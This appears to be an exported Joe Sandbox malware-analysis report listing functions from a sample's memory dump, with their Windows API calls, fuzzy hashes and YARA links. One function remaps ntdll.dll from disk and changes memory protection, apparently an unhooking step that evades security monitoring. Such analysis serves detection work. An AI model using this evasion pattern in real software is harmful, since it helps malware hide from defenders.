Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AddressInfoNativeProcSystem
String ID: GetNativeSystemInfo
API String ID: 2220751540-3949249589
Opcode ID: cd7d1f359f3f8d9de020c7390f6b521e34627b29987b9aa14a3313eaddf80d86
Instruction ID: fdf40642b98aea9645ff5ce2bfc25f6c93e65cfe5bbcd3fb8bf9b0548ca8598f
Opcode Fuzzy Hash: cd7d1f359f3f8d9de020c7390f6b521e34627b29987b9aa14a3313eaddf80d86
Instruction Fuzzy Hash: 59D0A73030020856CB14DB75AD02A5A73E496486087440570E402F00D0EA7DDD41D768

Uniqueness

Uniqueness Score: -1.00%

Function 00403769 Relevance: 4.7, APIs: 3, Instructions: 153stringtimeCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,?,?,00402FA6,?,?), ref: 00403776
GetSystemTimeAsFileTime.KERNEL32(00402FA6,00000000,?,?,?,?,00402FA6,?,?), ref: 004037F2
GetFileAttributesW.KERNELBASE(00000000,?,?,?,00402FA6,?,?), ref: 004037F9

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FileTime$AttributesSystemlstrlen
String ID:
API String ID: 692046673-0
Opcode ID: bb341d4c07199014ca885cd4bbd0c693b22aba785dbec032018bcfa9e4d30431
Instruction ID: 434ec4cbd3337a66c70c7224a0dd07f780f65c01fb5e0fe33510391263ed20e3
Opcode Fuzzy Hash: bb341d4c07199014ca885cd4bbd0c693b22aba785dbec032018bcfa9e4d30431
Instruction Fuzzy Hash: EC41FC76600206AADB20BF699C41AB77BECDF40355F50847BF945E75C1E738DF418298

Uniqueness

Uniqueness Score: -1.00%

Function 00404EC3 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00404AC4,?,?,?,?,00000000,00000000,?,?,00000000,?), ref: 00404EF7
lstrlenA.KERNEL32(?,?,00404AC4,?,?,?,?,00000000,00000000,?,?,00000000,?), ref: 00404EFF

Strings

x86, xrefs: 00404ED6, 00404ED7

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: lstrlen
String ID: x86
API String ID: 1659193697-2105985432
Opcode ID: 56b900e3adc191ded6636922a00623652073f7ebfe7219639a660e1bb948576c
Instruction ID: 1a52fe1f4341d2278046df94b955c3244764cd3cb3145d185c2b391d31c35d4a
Opcode Fuzzy Hash: 56b900e3adc191ded6636922a00623652073f7ebfe7219639a660e1bb948576c
Instruction Fuzzy Hash: 3B4174B1D0025A9BDB10DFA5CC44BEFBBB8EF84344F04416AE804A7241E679D945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040772B Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040772E
GetTickCount.KERNEL32 ref: 0040773B

Part of subcall function 00406563: GetCurrentProcess.KERNEL32 ref: 0040656C
Part of subcall function 00406563: GetModuleHandleA.KERNEL32(ntdll.dll), ref: 0040657A
Part of subcall function 00406563: CreateFileA.KERNELBASE(c:\windows\system32\ntdll.dll,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00406595
Part of subcall function 00406563: CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 004065A8
Part of subcall function 00406563: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 004065B7
Part of subcall function 00406563: VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 00406607
Part of subcall function 00406563: VirtualProtect.KERNELBASE(?,?,?,?), ref: 0040663B
Part of subcall function 00406563: FindCloseChangeNotification.KERNELBASE(?), ref: 00406651
Part of subcall function 00406563: CloseHandle.KERNEL32(?), ref: 00406656
Part of subcall function 00406563: CloseHandle.KERNEL32(?), ref: 0040665B
Part of subcall function 00406563: FreeLibrary.KERNEL32(00000000), ref: 0040665E

FreeConsole.KERNELBASE ref: 0040774D

Part of subcall function 004067D5: GetVersionExW.KERNEL32(?), ref: 00406802
Part of subcall function 004067D5: GetCommandLineW.KERNEL32(?), ref: 00406862
Part of subcall function 004067D5: GetCommandLineW.KERNEL32(00000001,?,?,?,?,00000000), ref: 004068AC
Part of subcall function 004067D5: wsprintfW.USER32 ref: 004068D6

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CloseFileHandle$CommandCountCreateFreeLineProtectTickVirtual$ChangeConsoleCurrentFindLibraryMappingModuleNotificationProcessVersionViewwsprintf
String ID:
API String ID: 4291766598-0
Opcode ID: 3ca46a93c6b10168347eebcf9c93063856af442282da1189f62fc0079eeba015
Instruction ID: fe56425bb2a0ba9ea27a46fa1b3504cd85737b5f7dd7c05133cc4a9b5b207337
Opcode Fuzzy Hash: 3ca46a93c6b10168347eebcf9c93063856af442282da1189f62fc0079eeba015
Instruction Fuzzy Hash: 82E08C32504008AFDF907FF4AC4846E3B65EB043157810432F60DD2971CB3AA871DB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0041EAAA Relevance: 3.1, APIs: 2, Instructions: 67COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0041EAF6
GetFileType.KERNELBASE(00000000), ref: 0041EB08

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 9942845071086dcf81e5714cec6cdfd1ba00491d02b78772339a5e10d5b1ef7c
Instruction ID: ae045d4cf1b03e5160a3b30c2f04a94be923d6a48ac0631af6495f2cb15e1a3f
Opcode Fuzzy Hash: 9942845071086dcf81e5714cec6cdfd1ba00491d02b78772339a5e10d5b1ef7c
Instruction Fuzzy Hash: A711A83920875145C7348E3F8C985636A94AF52370B380B1BD9B7872F1C778E9C6965D

Uniqueness

Uniqueness Score: -1.00%

Function 00402CD8 Relevance: 3.0, APIs: 2, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000014), ref: 00402CE8
EndDialog.USER32(00000000,00000000), ref: 00402D45

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: DialogSleep
String ID:
API String ID: 2355613043-0
Opcode ID: dd2d5af46e462a8c14ae85c085df6146a90b8f192a789a8dbbf997dae1be6a27
Instruction ID: b56f4381aa9f4b69fa0f3d3a9db7a26a43547608d30693ed12c7faf5933e70ef
Opcode Fuzzy Hash: dd2d5af46e462a8c14ae85c085df6146a90b8f192a789a8dbbf997dae1be6a27
Instruction Fuzzy Hash: 1E018F32601210DFD7748B16DF0DA677769FB40761B5512BAE905AB6F0C3B8DC41CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004199D2 Relevance: 3.0, APIs: 2, Instructions: 38COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0041A552

Part of subcall function 00417A3F: RaiseException.KERNEL32(?,?,?,0041A574,?,?,?,?,?,?,?,?,0041A574,0040126C,0042DD94,0040126C), ref: 00417A9F

__CxxThrowException@8.LIBVCRUNTIME ref: 0041A56F

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID:
API String ID: 3476068407-0
Opcode ID: fe1100fb1d7b6b347577254c2234f5f819bd5562f06c4e9abbd01681d22f0dc0
Instruction ID: d12a38eab4a7d80f37061d8899ca6cec70c8026c2add7983b7367f04d469bf92
Opcode Fuzzy Hash: fe1100fb1d7b6b347577254c2234f5f819bd5562f06c4e9abbd01681d22f0dc0
Instruction Fuzzy Hash: 02F0907191420DB68B00BAAAE8169DE777C5E00368B60422BF92491591EF78AFD981CE

Uniqueness

Uniqueness Score: -1.00%

Function 0041C347 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041C38F

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8ffefae7a48324e20509260429bcb6285bdb87c0c19b30ac424f9fa377c60f5f
Instruction ID: 62856e42b178e2150d632fdb3f09d90d84e8e42d3cfa801e0cf712be60b087ee
Opcode Fuzzy Hash: 8ffefae7a48324e20509260429bcb6285bdb87c0c19b30ac424f9fa377c60f5f
Instruction Fuzzy Hash: 52E0E5F36C16259197212B3B7C423EB1242AB81336F15933BF838861D0DF6C48C3509E

Uniqueness

Uniqueness Score: -1.00%

Function 00410341 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00410358
GetLastError.KERNEL32(?,?,?,?), ref: 00410365

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ebcb7c770871866fc2c778f231c86ac780216e10cca07bbd22bda75aaee00768
Instruction ID: a70b658f7993ab1dd551acf62be76483812062c6ef9775d85c181ca53b5394e7
Opcode Fuzzy Hash: ebcb7c770871866fc2c778f231c86ac780216e10cca07bbd22bda75aaee00768
Instruction Fuzzy Hash: CCF0BE71500108EFCF00CF68D800ADF7BE8EF09310B0082A6F826872A0D231DD51EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00407D35 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000010), ref: 00407D70
GetSystemMetrics.USER32(00000011), ref: 00407D82

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: d68bab5cad2fd5c6a9f0c40b32ae04f71d22314e868a1fc9636977f6dfc9f790
Instruction ID: 8a2af6db6d6699d1174237191ec47cc7190e70ffd72affa2b2cbbbcad6802088
Opcode Fuzzy Hash: d68bab5cad2fd5c6a9f0c40b32ae04f71d22314e868a1fc9636977f6dfc9f790
Instruction Fuzzy Hash: B0F01DB0A40A03AFC394CF39A904694BBF1BB48301785963B9515C2AA4EBB4A4A58F44

Uniqueness

Uniqueness Score: -1.00%

Function 0040B935 Relevance: 2.0, APIs: 1, Instructions: 501COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040B93A

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ab05df357e0723b355b7833e2634267bcf3e6fe20f44ee2a5d24befaf159fe2e
Instruction ID: 2042bf80dc885ba3fea59f476377a160e6094a6bfacbedfde31517aa709a3101
Opcode Fuzzy Hash: ab05df357e0723b355b7833e2634267bcf3e6fe20f44ee2a5d24befaf159fe2e
Instruction Fuzzy Hash: 49122A71A00209DFCB14DFA9C884AAEB7B5FF48314F24416AE915BB391DB35AD41CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040CAE2 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040CAE7

Part of subcall function 0040DC53: __EH_prolog.LIBCMT ref: 0040DC58

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2018f6b1d902506908b98274f57975154d314320d2fd72fe4728942dd41f55c0
Instruction ID: 6a90f4cc4477ba0de7b0b2d7aa1b4239724ca88eab9eb8f697e0ae6dfce5eb16
Opcode Fuzzy Hash: 2018f6b1d902506908b98274f57975154d314320d2fd72fe4728942dd41f55c0
Instruction Fuzzy Hash: D0417C30A0161AEFCB11DF64D885F9EB7B8BF04704F04426EE909AB251DB74ED14CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004200FD Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0041D93D: RtlAllocateHeap.NTDLL(00000008,0040126C,00000000,?,0041D6D7,00000001,00000364,00000006,000000FF,?,0041D0A8,0041E0CF,?,?,004199EC,?), ref: 0041D97E

_free.LIBCMT ref: 00420169

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: b7413877cbfda83a37a5655c88cf64e534879104b46e028407b95268035cc8d8
Instruction ID: 347512d04ea8cf8b102ab265504e97e183816f1b29ec93fbfd028074a81d6a8b
Opcode Fuzzy Hash: b7413877cbfda83a37a5655c88cf64e534879104b46e028407b95268035cc8d8
Instruction Fuzzy Hash: 8501DBB26003056BE7218F659C419ABFBD9EB85370F65061EE59443281EA356846C768

Uniqueness

Uniqueness Score: -1.00%

Function 0041D93D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,0040126C,00000000,?,0041D6D7,00000001,00000364,00000006,000000FF,?,0041D0A8,0041E0CF,?,?,004199EC,?), ref: 0041D97E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 14049bf4b6ce20fb27755c2a3cfca8c8397d8d5df8b727a9b2ec2e394b38be47
Instruction ID: 3067135e7c69b4be9f77b1917f755836a33887343b27f4dba89ff31a94ad5086
Opcode Fuzzy Hash: 14049bf4b6ce20fb27755c2a3cfca8c8397d8d5df8b727a9b2ec2e394b38be47
Instruction Fuzzy Hash: E9F0B4F1E6412466DB212A229C01BDB7B58AF417A0F154137EC08A7284CB6CD8818BED

Uniqueness

Uniqueness Score: -1.00%

Function 00411B34 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00411B8A

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: da7a567b2c4ebb543e83a60b31ab2182afb3451ea047a6d48001e17bb0bb83cb
Instruction ID: 1d800cffeec876e8cd722c029b7a6b9fe31125f89d117b03b29b7471883dbba7
Opcode Fuzzy Hash: da7a567b2c4ebb543e83a60b31ab2182afb3451ea047a6d48001e17bb0bb83cb
Instruction Fuzzy Hash: E1F089732042146FCB149F79F841A9ABBDDDF843A4B10843FF605CB151D6759D8486D8

Uniqueness

Uniqueness Score: -1.00%

Function 0040325C Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004032A8

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 66491aa15b8e74441fa2ad416c14f8400e159aa47d2853598fc1d695cb1a9bb1
Instruction ID: 3423d9424ec2976be9e076b0f6e94355165e6366949a5792af5c8323679cc572
Opcode Fuzzy Hash: 66491aa15b8e74441fa2ad416c14f8400e159aa47d2853598fc1d695cb1a9bb1
Instruction Fuzzy Hash: EDF049312007049BDB24DFA5C848B57B7E8BF08306F00096EE88796AA0D378F985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E08C Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,004199EC,?,?,00411598,00000008,?,00407D46,?,00401253,?,0040126C), ref: 0041E0BE

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9a4d0b83301378004569861e310aaa3669c1eb82f0853e4a94a4f7517ef152d2
Instruction ID: cbc843ab043aea12efb8ddee3cde40103f8360b619b64b341e0691f6cf6bce25
Opcode Fuzzy Hash: 9a4d0b83301378004569861e310aaa3669c1eb82f0853e4a94a4f7517ef152d2
Instruction Fuzzy Hash: FFE0653964513056D63126675C007DB7E99BF593A1F150167ED06972D0CBEDCCC182EE

Uniqueness

Uniqueness Score: -1.00%

Function 00406323 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE(?,?,?), ref: 0040635F

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 4a2952c0456dfef48979a76774a499fc477fe4a47e00bca47060e5fd2ea007e1
Instruction ID: 97ec60d6e2c6dfbd8c7d7ad9b2a313eec0e9fc7f3b01a66e54958d82308bc047
Opcode Fuzzy Hash: 4a2952c0456dfef48979a76774a499fc477fe4a47e00bca47060e5fd2ea007e1
Instruction Fuzzy Hash: 45F01231900028AFCB20EBE8EC55CCDB7B8EB04304711017AF951B71B6DB74E955CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004101E4 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004101C5: CloseHandle.KERNEL32(?,?,004101EF,?,?,00410297,?,80000000,?,?,?,?,004102ED,?,?,00000003), ref: 004101CF

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,?,00410297,?,80000000,?,?,?), ref: 00410206

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 4eeb18e75329cfa150246b9a7246517bfeef60539e57579f099338917d1b6df1
Instruction ID: 889f0cad0a8d0e25c71668c3901d8d23152b3c672e7c7509d8dd264a348a0d7f
Opcode Fuzzy Hash: 4eeb18e75329cfa150246b9a7246517bfeef60539e57579f099338917d1b6df1
Instruction Fuzzy Hash: FDE08C32000219BBCF211FA49C02BCA3B2AAF04360F104116FA14551E1C7B6D8F0AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410468 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000001,00000000,?,00410445,?,00000001,00000000,?,?,00000000,?,?,004107ED), ref: 0041048B

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8a2e6c0334bc89f23ba97bcf6f1b71ff15e7377b0494ce4e358ccbed341504c3
Instruction ID: ee1ce227f3de7638b596e8d67e90bca51049101c08e26ea773461c5066e1ff3e
